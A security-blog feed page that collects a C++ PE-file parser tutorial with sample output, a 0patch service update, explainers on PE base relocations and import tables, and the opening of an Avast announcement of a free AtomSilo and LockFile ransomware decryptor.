This function starts by assigning the PEFILE_SECTION_HEADERS class member to a pointer to an IMAGE_SECTION_HEADER array of the count of PEFILE_NT_HEADERS_FILE_HEADER_NUMBEROF_SECTIONS.

Then it goes into a loop of PEFILE_NT_HEADERS_FILE_HEADER_NUMBEROF_SECTIONS iterations where in each iteration it changes the file offset to (e_lfanew + size of NT Headers + loop counter multiplied by the size of a section header) to reach the beginning of the next Section Header, then it reads the new Section Header and assigns it to the next element of PEFILE_SECTION_HEADERS.

void PE64FILE::ParseSectionHeaders() {
	
	PEFILE_SECTION_HEADERS = new ___IMAGE_SECTION_HEADER[PEFILE_NT_HEADERS_FILE_HEADER_NUMBER0F_SECTIONS];
	for (int i = 0; i < PEFILE_NT_HEADERS_FILE_HEADER_NUMBER0F_SECTIONS; i++) {
		int offset = (PEFILE_DOS_HEADER.e_lfanew + sizeof(PEFILE_NT_HEADERS)) + (i * ___IMAGE_SIZEOF_SECTION_HEADER);
		fseek(Ppefile, offset, SEEK_SET);
		fread(&PEFILE_SECTION_HEADERS[i], ___IMAGE_SIZEOF_SECTION_HEADER, 1, Ppefile);
	}

}

PrintSectionHeadersInfo()

This function loops over the Section Headers array (filled by ParseSectionHeaders()), and it prints information about each section.

void PE64FILE::PrintSectionHeadersInfo() {
	
	printf(" SECTION HEADERS:\n");
	printf(" ----------------\n\n");

	for (int i = 0; i < PEFILE_NT_HEADERS_FILE_HEADER_NUMBER0F_SECTIONS; i++) {
		printf("   * %.8s:\n", PEFILE_SECTION_HEADERS[i].Name);
		printf("        VirtualAddress: 0x%X\n", PEFILE_SECTION_HEADERS[i].VirtualAddress);
		printf("        VirtualSize: 0x%X\n", PEFILE_SECTION_HEADERS[i].Misc.VirtualSize);
		printf("        PointerToRawData: 0x%X\n", PEFILE_SECTION_HEADERS[i].PointerToRawData);
		printf("        SizeOfRawData: 0x%X\n", PEFILE_SECTION_HEADERS[i].SizeOfRawData);
		printf("        Characteristics: 0x%X\n\n", PEFILE_SECTION_HEADERS[i].Characteristics);
	}

}


Parsing Imports

ParseImportDirectory()

To parse out the Import Directory Table we need to determine the count of IMAGE_IMPORT_DESCRIPTORs first.

This function starts by resolving the file offset of the Import Directory, then it goes into a loop where in each loop it keeps reading the next import descriptor.
In each iteration it checks if the descriptor has zeroed out values, if that is the case then we’ve reached the end of the Import Directory, so it breaks.
Otherwise it increments _import_directory_count and the loop continues.

After finding the size of the Import Directory, the function assigns the PEFILE_IMPORT_TABLE class member to a pointer to an IMAGE_IMPORT_DESCRIPTOR array of the count of _import_directory_count then goes into another loop similar to the one we’ve seen in ParseSectionHeaders() to parse out the import descriptors.

void PE64FILE::ParseImportDirectory() {
	
	DWORD _import_directory_address = resolve(PEFILE_IMPORT_DIRECTORY.VirtualAddress, locate(PEFILE_IMPORT_DIRECTORY.VirtualAddress));
	_import_directory_count = 0;

	while (true) {
		___IMAGE_IMPORT_DESCRIPTOR tmp;
		int offset = (_import_directory_count * sizeof(___IMAGE_IMPORT_DESCRIPTOR)) + _import_directory_address;
		fseek(Ppefile, offset, SEEK_SET);
		fread(&tmp, sizeof(___IMAGE_IMPORT_DESCRIPTOR), 1, Ppefile);

		if (tmp.Name == 0x00000000 && tmp.FirstThunk == 0x00000000) {
			_import_directory_count -= 1;
			_import_directory_size = _import_directory_count * sizeof(___IMAGE_IMPORT_DESCRIPTOR);
			break;
		}

		_import_directory_count++;
	}

	PEFILE_IMPORT_TABLE = new ___IMAGE_IMPORT_DESCRIPTOR[_import_directory_count];

	for (int i = 0; i < _import_directory_count; i++) {
		int offset = (i * sizeof(___IMAGE_IMPORT_DESCRIPTOR)) + _import_directory_address;
		fseek(Ppefile, offset, SEEK_SET);
		fread(&PEFILE_IMPORT_TABLE[i], sizeof(___IMAGE_IMPORT_DESCRIPTOR), 1, Ppefile);
	}

}

PrintImportTableInfo()

After obtaining the import descriptors, further parsing is needed to retrieve information about the imported functions.
This is done by the PrintImportTableInfo() function.

This function iterates over the import descriptors, and for each descriptor it resolves the file offset of the DLL name, retrieves the DLL name then prints it, it also prints the ILT RVA, the IAT RVA and whether the import is bound or not.

After that it resolves the file offset of the ILT then it parses out each ILT entry.
If the Ordinal/Name flag is set it prints the function ordinal, otherwise it prints the function name, the hint RVA and the hint.

If the ILT entry is zeroed out, the loop breaks and the next import descriptor parsing iteration starts.

We’ve discussed the details about this in the PE imports post.

void PE64FILE::PrintImportTableInfo() {
	
	printf(" IMPORT TABLE:\n");
	printf(" ----------------\n\n");

	for (int i = 0; i < _import_directory_count; i++) {
		DWORD NameAddr = resolve(PEFILE_IMPORT_TABLE[i].Name, locate(PEFILE_IMPORT_TABLE[i].Name));
		int NameSize = 0;

		while (true) {
			char tmp;
			fseek(Ppefile, (NameAddr + NameSize), SEEK_SET);
			fread(&tmp, sizeof(char), 1, Ppefile);

			if (tmp == 0x00) {
				break;
			}

			NameSize++;
		}

		char* Name = new char[NameSize + 2];
		fseek(Ppefile, NameAddr, SEEK_SET);
		fread(Name, (NameSize * sizeof(char)) + 1, 1, Ppefile);
		printf("   * %s:\n", Name);
		delete[] Name;

		printf("       ILT RVA: 0x%X\n", PEFILE_IMPORT_TABLE[i].DUMMYUNIONNAME.OriginalFirstThunk);
		printf("       IAT RVA: 0x%X\n", PEFILE_IMPORT_TABLE[i].FirstThunk);

		if (PEFILE_IMPORT_TABLE[i].TimeDateStamp == 0) {
			printf("       Bound: FALSE\n");
		}
		else if (PEFILE_IMPORT_TABLE[i].TimeDateStamp == -1) {
			printf("       Bound: TRUE\n");
		}

		printf("\n");

		DWORD ILTAddr = resolve(PEFILE_IMPORT_TABLE[i].DUMMYUNIONNAME.OriginalFirstThunk, locate(PEFILE_IMPORT_TABLE[i].DUMMYUNIONNAME.OriginalFirstThunk));
		int entrycounter = 0;

		while (true) {

			ILT_ENTRY_64 entry;

			fseek(Ppefile, (ILTAddr + (entrycounter * sizeof(QWORD))), SEEK_SET);
			fread(&entry, sizeof(ILT_ENTRY_64), 1, Ppefile);

			BYTE flag = entry.ORDINAL_NAME_FLAG;
			DWORD HintRVA = 0x0;
			WORD ordinal = 0x0;

			if (flag == 0x0) {
				HintRVA = entry.FIELD_2.HINT_NAME_TABE;
			}
			else if (flag == 0x01) {
				ordinal = entry.FIELD_2.ORDINAL;
			}

			if (flag == 0x0 && HintRVA == 0x0 && ordinal == 0x0) {
				break;
			}

			printf("\n       Entry:\n");

			if (flag == 0x0) {
				___IMAGE_IMPORT_BY_NAME hint;

				DWORD HintAddr = resolve(HintRVA, locate(HintRVA));
				fseek(Ppefile, HintAddr, SEEK_SET);
				fread(&hint, sizeof(___IMAGE_IMPORT_BY_NAME), 1, Ppefile);
				printf("         Name: %s\n", hint.Name);
				printf("         Hint RVA: 0x%X\n", HintRVA);
				printf("         Hint: 0x%X\n", hint.Hint);
			}
			else if (flag == 1) {
				printf("         Ordinal: 0x%X\n", ordinal);
			}

			entrycounter++;
		}

		printf("\n   ----------------------\n\n");

	}

}


Parsing Base Relocations

ParseBaseReloc()

This function follows the same process we’ve seen in ParseImportDirectory().
It resolves the file offset of the Base Relocation Directory, then it loops over each relocation block until it reaches a zeroed out block. Then it parses out these blocks and saves each IMAGE_BASE_RELOCATION structure in PEFILE_BASERELOC_TABLE.
One thing to note here that is different from what we’ve seen in ParseImportDirectory() is that in addition to keeping a block counter we also keep a size counter that’s incremented by adding the value of SizeOfBlock of each block in each iteration.
We do this because relocation blocks don’t have a fixed size, and in order to correctly calculate the offset of the next relocation block we need the total size of the previous blocks.

void PE64FILE::ParseBaseReloc() {
	
	DWORD _basereloc_directory_address = resolve(PEFILE_BASERELOC_DIRECTORY.VirtualAddress, locate(PEFILE_BASERELOC_DIRECTORY.VirtualAddress));
	_basreloc_directory_count = 0;
	int _basereloc_size_counter = 0;

	while (true) {
		___IMAGE_BASE_RELOCATION tmp;

		int offset = (_basereloc_size_counter + _basereloc_directory_address);

		fseek(Ppefile, offset, SEEK_SET);
		fread(&tmp, sizeof(___IMAGE_BASE_RELOCATION), 1, Ppefile);

		if (tmp.VirtualAddress == 0x00000000 &&
			tmp.SizeOfBlock == 0x00000000) {
			break;
		}

		_basreloc_directory_count++;
		_basereloc_size_counter += tmp.SizeOfBlock;
	}

	PEFILE_BASERELOC_TABLE = new ___IMAGE_BASE_RELOCATION[_basreloc_directory_count];

	_basereloc_size_counter = 0;

	for (int i = 0; i < _basreloc_directory_count; i++) {
		int offset = _basereloc_directory_address + _basereloc_size_counter;
		fseek(Ppefile, offset, SEEK_SET);
		fread(&PEFILE_BASERELOC_TABLE[i], sizeof(___IMAGE_BASE_RELOCATION), 1, Ppefile);
		_basereloc_size_counter += PEFILE_BASERELOC_TABLE[i].SizeOfBlock;
	}

}

PrintBaseRelocationInfo()

This function iterates over the base relocation blocks, and for each block it resolves the file offset of the block, then it prints the block RVA, size and number of entries (calculated by subtracting the size of IMAGE_BASE_RELOCATION from the block size then dividing that by the size of a WORD).
After that it iterates over the relocation entries and prints the relocation value, and from that value it separates the type and the offset and prints each one of them.

We’ve discussed the details about this in the PE base relocations post.

void PE64FILE::PrintBaseRelocationsInfo() {
	
	printf(" BASE RELOCATIONS TABLE:\n");
	printf(" -----------------------\n");

	int szCounter = sizeof(___IMAGE_BASE_RELOCATION);

	for (int i = 0; i < _basreloc_directory_count; i++) {

		DWORD PAGERVA, BLOCKSIZE, BASE_RELOC_ADDR;
		int ENTRIES;

		BASE_RELOC_ADDR = resolve(PEFILE_BASERELOC_DIRECTORY.VirtualAddress, locate(PEFILE_BASERELOC_DIRECTORY.VirtualAddress));
		PAGERVA = PEFILE_BASERELOC_TABLE[i].VirtualAddress;
		BLOCKSIZE = PEFILE_BASERELOC_TABLE[i].SizeOfBlock;
		ENTRIES = (BLOCKSIZE - sizeof(___IMAGE_BASE_RELOCATION)) / sizeof(WORD);

		printf("\n   Block 0x%X: \n", i);
		printf("     Page RVA: 0x%X\n", PAGERVA);
		printf("     Block size: 0x%X\n", BLOCKSIZE);
		printf("     Number of entries: 0x%X\n", ENTRIES);
		printf("\n     Entries:\n");

		for (int i = 0; i < ENTRIES; i++) {

			BASE_RELOC_ENTRY entry;

			int offset = (BASE_RELOC_ADDR + szCounter + (i * sizeof(WORD)));

			fseek(Ppefile, offset, SEEK_SET);
			fread(&entry, sizeof(WORD), 1, Ppefile);

			printf("\n       * Value: 0x%X\n", entry);
			printf("         Relocation Type: 0x%X\n", entry.TYPE);
			printf("         Offset: 0x%X\n", entry.OFFSET);

		}
		printf("\n   ----------------------\n\n");
		szCounter += BLOCKSIZE;
	}

}


Conclusion

Here’s the full output after running the parser on a file:

Desktop>.\PE-Parser.exe .\SimpleApp64.exe


 FILE: .\SimpleApp64.exe
 TYPE: 0x20B (PE32+)

 ----------------------------------

 DOS HEADER:
 -----------

 Magic: 0x5A4D
 File address of new exe header: 0x100

 ----------------------------------

 RICH HEADER:
 ------------

 0x7809 0x93 0xA: 30729.147.10
 0x6FCB 0x101 0x2: 28619.257.2
 0x6FCB 0x105 0x11: 28619.261.17
 0x6FCB 0x104 0xA: 28619.260.10
 0x6FCB 0x103 0x3: 28619.259.3
 0x685B 0x101 0x5: 26715.257.5
 0x0 0x1 0x30: 0.1.48
 0x7086 0x109 0x1: 28806.265.1
 0x7086 0xFF 0x1: 28806.255.1
 0x7086 0x102 0x1: 28806.258.1

 ----------------------------------

 NT HEADERS:
 -----------

 PE Signature: 0x4550

 File Header:

   Machine: 0x8664
   Number of sections: 0x6
   Size of optional header: 0xF0

 Optional Header:

   Magic: 0x20B
   Size of code section: 0xE00
   Size of initialized data: 0x1E00
   Size of uninitialized data: 0x0
   Address of entry point: 0x12C4
   RVA of start of code section: 0x1000
   Desired image base: 0x40000000
   Section alignment: 0x1000
   File alignment: 0x200
   Size of image: 0x7000
   Size of headers: 0x400

 Data Directories:

   * Export Directory:
       RVA: 0x0
       Size: 0x0

   * Import Directory:
       RVA: 0x27AC
       Size: 0xB4

   * Resource Directory:
       RVA: 0x5000
       Size: 0x1E0

   * Exception Directory:
       RVA: 0x4000
       Size: 0x168

   * Security Directory:
       RVA: 0x0
       Size: 0x0

   * Base Relocation Table:
       RVA: 0x6000
       Size: 0x28

   * Debug Directory:
       RVA: 0x2248
       Size: 0x70

   * Architecture Specific Data:
       RVA: 0x0
       Size: 0x0

   * RVA of GlobalPtr:
       RVA: 0x0
       Size: 0x0

   * TLS Directory:
       RVA: 0x0
       Size: 0x0

   * Load Configuration Directory:
       RVA: 0x22C0
       Size: 0x130

   * Bound Import Directory:
       RVA: 0x0
       Size: 0x0

   * Import Address Table:
       RVA: 0x2000
       Size: 0x198

   * Delay Load Import Descriptors:
       RVA: 0x0
       Size: 0x0

   * COM Runtime Descriptor:
       RVA: 0x0
       Size: 0x0

 ----------------------------------

 SECTION HEADERS:
 ----------------

   * .text:
        VirtualAddress: 0x1000
        VirtualSize: 0xD2C
        PointerToRawData: 0x400
        SizeOfRawData: 0xE00
        Characteristics: 0x60000020

   * .rdata:
        VirtualAddress: 0x2000
        VirtualSize: 0xE3C
        PointerToRawData: 0x1200
        SizeOfRawData: 0x1000
        Characteristics: 0x40000040

   * .data:
        VirtualAddress: 0x3000
        VirtualSize: 0x638
        PointerToRawData: 0x2200
        SizeOfRawData: 0x200
        Characteristics: 0xC0000040

   * .pdata:
        VirtualAddress: 0x4000
        VirtualSize: 0x168
        PointerToRawData: 0x2400
        SizeOfRawData: 0x200
        Characteristics: 0x40000040

   * .rsrc:
        VirtualAddress: 0x5000
        VirtualSize: 0x1E0
        PointerToRawData: 0x2600
        SizeOfRawData: 0x200
        Characteristics: 0x40000040

   * .reloc:
        VirtualAddress: 0x6000
        VirtualSize: 0x28
        PointerToRawData: 0x2800
        SizeOfRawData: 0x200
        Characteristics: 0x42000040


 ----------------------------------

 IMPORT TABLE:
 ----------------

   * USER32.dll:
       ILT RVA: 0x28E0
       IAT RVA: 0x2080
       Bound: FALSE


       Entry:
         Name: MessageBoxA
         Hint RVA: 0x29F8
         Hint: 0x283

   ----------------------

   * VCRUNTIME140.dll:
       ILT RVA: 0x28F0
       IAT RVA: 0x2090
       Bound: FALSE


       Entry:
         Name: memset
         Hint RVA: 0x2A5E
         Hint: 0x3E

       Entry:
         Name: __current_exception_context
         Hint RVA: 0x2A40
         Hint: 0x1C

       Entry:
         Name: __current_exception
         Hint RVA: 0x2A2A
         Hint: 0x1B

       Entry:
         Name: __C_specific_handler
         Hint RVA: 0x2A12
         Hint: 0x8

   ----------------------

   * api-ms-win-crt-runtime-l1-1-0.dll:
       ILT RVA: 0x2948
       IAT RVA: 0x20E8
       Bound: FALSE


       Entry:
         Name: _crt_atexit
         Hint RVA: 0x2C12
         Hint: 0x1E

       Entry:
         Name: terminate
         Hint RVA: 0x2C20
         Hint: 0x67

       Entry:
         Name: _exit
         Hint RVA: 0x2B30
         Hint: 0x23

       Entry:
         Name: _register_thread_local_exe_atexit_callback
         Hint RVA: 0x2B76
         Hint: 0x3D

       Entry:
         Name: _c_exit
         Hint RVA: 0x2B6C
         Hint: 0x15

       Entry:
         Name: exit
         Hint RVA: 0x2B28
         Hint: 0x55

       Entry:
         Name: _initterm_e
         Hint RVA: 0x2B1A
         Hint: 0x37

       Entry:
         Name: _initterm
         Hint RVA: 0x2B0E
         Hint: 0x36

       Entry:
         Name: _get_initial_narrow_environment
         Hint RVA: 0x2AEC
         Hint: 0x28

       Entry:
         Name: _initialize_narrow_environment
         Hint RVA: 0x2ACA
         Hint: 0x33

       Entry:
         Name: _configure_narrow_argv
         Hint RVA: 0x2AB0
         Hint: 0x18

       Entry:
         Name: _initialize_onexit_table
         Hint RVA: 0x2BDA
         Hint: 0x34

       Entry:
         Name: _set_app_type
         Hint RVA: 0x2A8C
         Hint: 0x42

       Entry:
         Name: _seh_filter_exe
         Hint RVA: 0x2A7A
         Hint: 0x40

       Entry:
         Name: _cexit
         Hint RVA: 0x2B62
         Hint: 0x16

       Entry:
         Name: __p___argv
         Hint RVA: 0x2B54
         Hint: 0x5

       Entry:
         Name: __p___argc
         Hint RVA: 0x2B46
         Hint: 0x4

       Entry:
         Name: _register_onexit_function
         Hint RVA: 0x2BF6
         Hint: 0x3C

   ----------------------

   * api-ms-win-crt-math-l1-1-0.dll:
       ILT RVA: 0x2938
       IAT RVA: 0x20D8
       Bound: FALSE


       Entry:
         Name: __setusermatherr
         Hint RVA: 0x2A9C
         Hint: 0x9

   ----------------------

   * api-ms-win-crt-stdio-l1-1-0.dll:
       ILT RVA: 0x29E0
       IAT RVA: 0x2180
       Bound: FALSE


       Entry:
         Name: __p__commode
         Hint RVA: 0x2BCA
         Hint: 0x1

       Entry:
         Name: _set_fmode
         Hint RVA: 0x2B38
         Hint: 0x54

   ----------------------

   * api-ms-win-crt-locale-l1-1-0.dll:
       ILT RVA: 0x2928
       IAT RVA: 0x20C8
       Bound: FALSE


       Entry:
         Name: _configthreadlocale
         Hint RVA: 0x2BA4
         Hint: 0x8

   ----------------------

   * api-ms-win-crt-heap-l1-1-0.dll:
       ILT RVA: 0x2918
       IAT RVA: 0x20B8
       Bound: FALSE


       Entry:
         Name: _set_new_mode
         Hint RVA: 0x2BBA
         Hint: 0x16

   ----------------------


 ----------------------------------

 BASE RELOCATIONS TABLE:
 -----------------------

   Block 0x0:
     Page RVA: 0x2000
     Block size: 0x28
     Number of entries: 0x10

     Entries:

       * Value: 0xA198
         Relocation Type: 0xA
         Offset: 0x198

       * Value: 0xA1A0
         Relocation Type: 0xA
         Offset: 0x1A0

       * Value: 0xA1A8
         Relocation Type: 0xA
         Offset: 0x1A8

       * Value: 0xA1B0
         Relocation Type: 0xA
         Offset: 0x1B0

       * Value: 0xA1B8
         Relocation Type: 0xA
         Offset: 0x1B8

       * Value: 0xA1C8
         Relocation Type: 0xA
         Offset: 0x1C8

       * Value: 0xA1E0
         Relocation Type: 0xA
         Offset: 0x1E0

       * Value: 0xA1E8
         Relocation Type: 0xA
         Offset: 0x1E8

       * Value: 0xA220
         Relocation Type: 0xA
         Offset: 0x220

       * Value: 0xA228
         Relocation Type: 0xA
         Offset: 0x228

       * Value: 0xA318
         Relocation Type: 0xA
         Offset: 0x318

       * Value: 0xA330
         Relocation Type: 0xA
         Offset: 0x330

       * Value: 0xA338
         Relocation Type: 0xA
         Offset: 0x338

       * Value: 0xA3D8
         Relocation Type: 0xA
         Offset: 0x3D8

       * Value: 0xA3E0
         Relocation Type: 0xA
         Offset: 0x3E0

       * Value: 0xA3E8
         Relocation Type: 0xA
         Offset: 0x3E8

   ----------------------


 ----------------------------------

I hope that seeing actual code has given you a better understanding of what we’ve discussed throughout the previous posts.
I believe that there are better ways for implementation than the ones I have presented, I’m in no way a c++ programmer and I know that there’s always room for improvement, so feel free to reach out to me, any feedback would be much appreciated.

Thanks for reading.

✇ 0patch Blog

A New 0patch Experience

By: Mitja Kolsek


Last week we updated 0patch Server and 0patch Central, which brought several new features and capabilities. Let's take a quick look at them:


  • Subscription management: Users can now manage their subscriptions in 0patch Central, including turning auto-renewal on or off, changing the number of licenses in a subscription, switching between annual and monthly payments, and canceling a subscription. Managed service providers can use the "Renew of one term" feature for renewing a license once their customer has committed to another term.

  • Monthly licenses: Before, 0patch was only available as an annual subscription service. From now on, we also support monthly subscriptions, allowing customers to up-scale and down-scale their license count on a monthly basis according to their needs. (A minimum of 20 licenses is required for a monthly subscription.)

  • Changing billing and payment information: Users can change their billing and payment information in 0patch Central now.

  • Registering agents directly to a group: Enterprise users will like this one; before, all deployed agents appeared in the root All Computers group and had to be manually moved to appropriate groups. Now, each group has its own key which can be used for auto-registration via MSI command-line arguments, allowing admins to bulk-deploy 0patch agent to all computers in some existing group in their central management system, and registered these agents directly to an appropriate group in 0patch Central.

  • Computer comments: Each computer now has a comment field that can be used to provide additional details.

  • License comments: Each license now has a comment field that can be used to provide additional details, a feature most requested from managed service providers and resellers.

  • No more duplicate agents: Before, a re-registration of 0patch Agent on the same computer resulted in a duplicate computer in the Computers list. This is now resolved.

 

We hope you'll like the new 0patch Central and 0patch user experience. If you run into any issues, please report them to [email protected].

Your 0patch Team

 

 

✇ 0xRick

A dive into the PE file format - PE file structure - Part 6: PE Base Relocations

By: 0xRick

A dive into the PE file format - PE file structure - Part 6: PE Base Relocations

Introduction

In this post we’re going to talk about PE base relocations. We’re going to discuss what relocations are, then we’ll take a look at the relocation table.


Relocations

When a program is compiled, the compiler assumes that the executable is going to be loaded at a certain base address, that address is saved in IMAGE_OPTIONAL_HEADER.ImageBase, some addresses get calculated then hardcoded within the executable based on the base address.
However for a variety of reasons, it’s not very likely that the executable is going to get its desired base address, it will get loaded in another base address and that will make all of the hardcoded addresses invalid.
A list of all hardcoded values that will need fixing if the image is loaded at a different base address is saved in a special table called the Relocation Table (a Data Directory within the .reloc section). The process of relocating (done by the loader) is what fixes these values.

Let’s take an example, the following code defines an int variable and a pointer to that variable:

int test = 2;
int* testPtr = &test;

During compile-time, the compiler will assume a base address, let’s say it assumes a base address of 0x1000, it decides that test will be located at an offset of 0x100 and based on that it gives testPtr a value of 0x1100.
Later on, a user runs the program and the image gets loaded into memory.
It gets a base address of 0x2000, this means that the hardcoded value of testPtr will be invalid, the loader fixes that value by adding the difference between the assumed base address and the actual base address, in this case it’s a difference of 0x1000 (0x2000 - 0x1000), so the new value of testPtr will be 0x2100 (0x1100 + 0x1000) which is the correct new address of test.


Relocation Table

As described by Microsoft documentation, the base relocation table contains entries for all base relocations in the image.

It’s a Data Directory located within the .reloc section, it’s divided into blocks, each block represents the base relocations for a 4K page and each block must start on a 32-bit boundary.

Each block starts with an IMAGE_BASE_RELOCATION structure followed by any number of offset field entries.

The IMAGE_BASE_RELOCATION structure specifies the page RVA, and the size of the relocation block.

typedef struct _IMAGE_BASE_RELOCATION {
    DWORD   VirtualAddress;
    DWORD   SizeOfBlock;
} IMAGE_BASE_RELOCATION;
typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION;

Each offset field entry is a WORD, first 4 bits of it define the relocation type (check Microsoft documentation for a list of relocation types), the last 12 bits store an offset from the RVA specified in the IMAGE_BASE_RELOCATION structure at the start of the relocation block.

Each relocation entry gets processed by adding the RVA of the page to the image base address, then by adding the offset specified in the relocation entry, an absolute address of the location that needs fixing can be obtained.

The PE file I’m looking at contains only one relocation block, its size is 0x28 bytes:

We know that each block starts with an 8-byte-long structure, meaning that the size of the entries is 0x20 bytes (32 bytes), each entry’s size is 2 bytes so the total number of entries should be 16.


Conclusion

That’s all.
Thanks for reading.

✇ 0xRick

A dive into the PE file format - PE file structure - Part 5: PE Imports (Import Directory Table, ILT, IAT)

By: 0xRick

A dive into the PE file format - PE file structure - Part 5: PE Imports (Import Directory Table, ILT, IAT)

Introduction

In this post we’re going to talk about a very important aspect of PE files, the PE imports. To understand how PE files handle their imports, we’ll go over some of the Data Directories present in the Import Data section (.idata), the Import Directory Table, the Import Lookup Table (ILT) or also referred to as the Import Name Table (INT) and the Import Address Table (IAT).


Import Directory Table

The Import Directory Table is a Data Directory located at the beginning of the .idata section.

It consists of an array of IMAGE_IMPORT_DESCRIPTOR structures, each one of them is for a DLL.
It doesn’t have a fixed size, so the last IMAGE_IMPORT_DESCRIPTOR of the array is zeroed-out (NULL-Padded) to indicate the end of the Import Directory Table.

IMAGE_IMPORT_DESCRIPTOR is defined as follows:

typedef struct _IMAGE_IMPORT_DESCRIPTOR {
    union {
        DWORD   Characteristics;
        DWORD   OriginalFirstThunk;
    } DUMMYUNIONNAME;
    DWORD   TimeDateStamp;
    DWORD   ForwarderChain;
    DWORD   Name;
    DWORD   FirstThunk;
} IMAGE_IMPORT_DESCRIPTOR;
typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;
  • OriginalFirstThunk: RVA of the ILT.
  • TimeDateStamp: A time date stamp, that’s initially set to 0 if not bound and set to -1 if bound.
    In case of an unbound import the time date stamp gets updated to the time date stamp of the DLL after the image is bound.
    In case of a bound import it stays set to -1 and the real time date stamp of the DLL can be found in the Bound Import Directory Table in the corresponding IMAGE_BOUND_IMPORT_DESCRIPTOR .
    We’ll discuss bound imports in the next section.
  • ForwarderChain: The index of the first forwarder chain reference.
    This is something responsible for DLL forwarding. (DLL forwarding is when a DLL forwards some of its exported functions to another DLL.)
  • Name: An RVA of an ASCII string that contains the name of the imported DLL.
  • FirstThunk: RVA of the IAT.

Bound Imports

A bound import essentially means that the import table contains fixed addresses for the imported functions.
These addresses are calculated and written during compile time by the linker.

Using bound imports is a speed optimization, it reduces the time needed by the loader to resolve function addresses and fill the IAT, however if at run-time the bound addresses do not match the real ones then the loader will have to resolve these addresses again and fix the IAT.

When discussing IMAGE_IMPORT_DESCRIPTOR.TimeDateStamp, I mentioned that in case of a bound import, the time date stamp is set to -1 and the real time date stamp of the DLL can be found in the corresponding IMAGE_BOUND_IMPORT_DESCRIPTOR in the Bound Import Data Directory.

Bound Import Data Directory

The Bound Import Data Directory is similar to the Import Directory Table, however as the name suggests, it holds information about the bound imports.

It consists of an array of IMAGE_BOUND_IMPORT_DESCRIPTOR structures, and ends with a zeroed-out IMAGE_BOUND_IMPORT_DESCRIPTOR.

IMAGE_BOUND_IMPORT_DESCRIPTOR is defined as follows:

typedef struct _IMAGE_BOUND_IMPORT_DESCRIPTOR {
    DWORD   TimeDateStamp;
    WORD    OffsetModuleName;
    WORD    NumberOfModuleForwarderRefs;
// Array of zero or more IMAGE_BOUND_FORWARDER_REF follows
} IMAGE_BOUND_IMPORT_DESCRIPTOR,  *PIMAGE_BOUND_IMPORT_DESCRIPTOR;
  • TimeDateStamp: The time date stamp of the imported DLL.
  • OffsetModuleName: An offset to a string with the name of the imported DLL.
    It’s an offset from the first IMAGE_BOUND_IMPORT_DESCRIPTOR
  • NumberOfModuleForwarderRefs: The number of the IMAGE_BOUND_FORWARDER_REF structures that immediately follow this structure.
    IMAGE_BOUND_FORWARDER_REF is a structure that’s identical to IMAGE_BOUND_IMPORT_DESCRIPTOR, the only difference is that the last member is reserved.

That’s all we need to know about bound imports.


Import Lookup Table (ILT)

Sometimes people refer to it as the Import Name Table (INT).

Every imported DLL has an Import Lookup Table.
IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk holds the RVA of the ILT of the corresponding DLL.

The ILT is essentially a table of names or references, it tells the loader which functions are needed from the imported DLL.

The ILT consists of an array of 32-bit numbers (for PE32) or 64-bit numbers for (PE32+), the last one is zeroed-out to indicate the end of the ILT.

Each entry of these entries encodes information as follows:

  • Bit 31/63 (most significant bit): This is called the Ordinal/Name flag, it specifies whether to import the function by name or by ordinal.
  • Bits 15-0: If the Ordinal/Name flag is set to 1 these bits are used to hold the 16-bit ordinal number that will be used to import the function, bits 30-15/62-15 for PE32/PE32+ must be set to 0.
  • Bits 30-0: If the Ordinal/Name flag is set to 0 these bits are used to hold an RVA of a Hint/Name table.

Hint/Name Table

A Hint/Name table is a structure defined in winnt.h as IMAGE_IMPORT_BY_NAME:

typedef struct _IMAGE_IMPORT_BY_NAME {
    WORD    Hint;
    CHAR   Name[1];
} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;
  • Hint: A word that contains a number, this number is used to look-up the function, that number is first used as an index into the export name pointer table, if that initial check fails a binary search is performed on the DLL’s export name pointer table.
  • Name: A null-terminated string that contains the name of the function to import.

Import Address Table (IAT)

On disk, the IAT is identical to the ILT, however during bounding when the binary is being loaded into memory, the entries of the IAT get overwritten with the addresses of the functions that are being imported.


Summary

So to summarize what we discussed in this post, for every DLL the executable is loading functions from, there will be an IMAGE_IMPORT_DESCRIPTOR within the Image Directory Table.
The IMAGE_IMPORT_DESCRIPTOR will contain the name of the DLL, and two fields holding RVAs of the ILT and the IAT.
The ILT will contain references for all the functions that are being imported from the DLL.
The IAT will be identical to the ILT until the executable is loaded in memory, then the loader will fill the IAT with the actual addresses of the imported functions.
If the DLL import is a bound import, then the import information will be contained in IMAGE_BOUND_IMPORT_DESCRIPTOR structures in a separate Data Directory called the Bound Import Data Directory.

Let’s take a quick look at the import information inside of an actual PE file.

Here’s the Import Directory Table of the executable:

All of these entries are IMAGE_IMPORT_DESCRIPTORs.

As you can see, the TimeDateStamp of all the imports is set to 0, meaning that none of these imports are bound, this is also confirmed in the Bound? column added by PE-bear.

For example, if we take USER32.dll and follow the RVA of its ILT (referenced by OriginalFirstThunk), we’ll find only 1 entry (because only one function is imported), and that entry looks like this:

This is a 64-bit executable, so the entry is 64 bits long.
As you can see, the last byte is set to 0, indicating that a Hint/Table name should be used to look-up the function.
We know that the RVA of this Hint/Table name should be referenced by the first 2 bytes, so we should follow RVA 0x29F8:

Now we’re looking at an IMAGE_IMPORT_BY_NAME structure, first two bytes hold the hint, which in this case is 0x283, the rest of the structure holds the full name of the function which is MessageBoxA.
We can verify that our interpretation of the data is correct by looking at how PE-bear parsed it, and we’ll see the same results:


Conclusion

That’s all I have to say about PE imports, in the next post I’ll discuss PE base relocations.
Thanks for reading.

✇ Avast Threat Labs

Avast releases decryptor for AtomSilo and LockFile ransomware

By: Threat Intelligence Team

On Oct 17, 2021, Jiří Vinopal published information about a weakness in the AtomSilo ransomware and that it is possible to decrypt files without paying the ransom. Slightly later, he also analyzed another ransomware strain, LockFile. We prepared our very own free Avast decryptor for both the AtomSilo and LockFile strains.

Limitation of the decryptor

During the decryption process, the Avast AtomSilo decryptor relies on a known file format in order to verify that the file was successfully decrypted. For that reason, some files may not be decrypted. This can  include files with proprietary or unknown format, or with no format at all, such as text files.

How AtomSilo and LockFile Work

Both the AtomSilo and LockFile ransomware strains are very similar to each other and except for minor differences, this description covers both of them. 

